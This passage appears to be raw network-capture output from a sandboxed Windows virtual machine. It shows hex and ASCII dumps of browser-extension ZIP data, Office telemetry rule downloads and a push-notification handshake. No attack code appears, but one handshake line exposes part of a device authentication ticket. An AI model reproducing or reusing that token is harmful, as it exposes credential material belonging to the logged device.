2024-11-13 17:08:30 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-13 17:08:30 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: bae79781-201e-0000-5fa1-34a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170830Z-1749fc9bdbds4vwlhC1DFWz440000000018g000000008yq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:30 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170830Z-16547b76f7ftdm8dhC1DFWs13g0000000hag00000000snx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49865	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 75 33 7a 44 6c 37 31 4b 36 30 6d 72 43 46 41 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 30 61 64 38 63 30 32 33 63 31 36 35 64 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: u3zDl71K60mrCFAK.1Context: b10ad8c023c165d4
2024-11-13 17:08:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-13 17:08:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 75 33 7a 44 6c 37 31 4b 36 30 6d 72 43 46 41 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 30 61 64 38 63 30 32 33 63 31 36 35 64 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 67 70 4f 43 31 65 2b 6a 6b 54 61 78 4d 48 2f 48 78 4d 69 70 42 67 78 36 4b 37 32 49 2f 74 44 78 33 46 49 66 76 6d 39 61 7a 6b 67 42 48 55 78 6b 6f 72 78 78 34 41 6f 33 6c 43 55 66 57 66 51 41 6c 44 6c 43 6c 63 30 4f 66 70 41 4e 30 30 57 58 63 30 63 50 4a 2f 2f 5a 6c 6b 71 48 35 30 6c 52 4a 31 73 51 67 2b 43 57 48 54 35 67 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: u3zDl71K60mrCFAK.2Context: b10ad8c023c165d4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfgpOC1e+jkTaxMH/HxMipBgx6K72I/tDx3FIfvm9azkgBHUxkorxx4Ao3lCUfWfQAlDlClc0OfpAN00WXc0cPJ//ZlkqH50lRJ1sQg+CWHT5g
2024-11-13 17:08:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 75 33 7a 44 6c 37 31 4b 36 30 6d 72 43 46 41 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 30 61 64 38 63 30 32 33 63 31 36 35 64 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: u3zDl71K60mrCFAK.3Context: b10ad8c023c165d4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-13 17:08:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-13 17:08:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 51 42 55 77 6e 6a 74 56 31 6b 61 65 49 50 6c 38 4c 55 77 72 41 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: QBUwnjtV1kaeIPl8LUwrAg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:30 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:30 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170830Z-16547b76f7fdf69shC1DFWcpd00000000h7000000000z107 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:30 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:30 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 26c42504-001e-0017-7560-350c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170830Z-r178fb8d7654njfdhC1DFWd048000000019g00000000ac6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:30 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:31 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170831Z-16547b76f7f4k79zhC1DFWu9y00000000hhg000000004hkq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:31 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ddaecdfb-101e-0079-21d2-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170831Z-16547b76f7fm7xw6hC1DFW5px40000000he0000000002aqn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:31 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 21399fcf-c01e-008e-25a8-347381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170831Z-r178fb8d765x865whC1DFWag6c000000019000000000bdbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
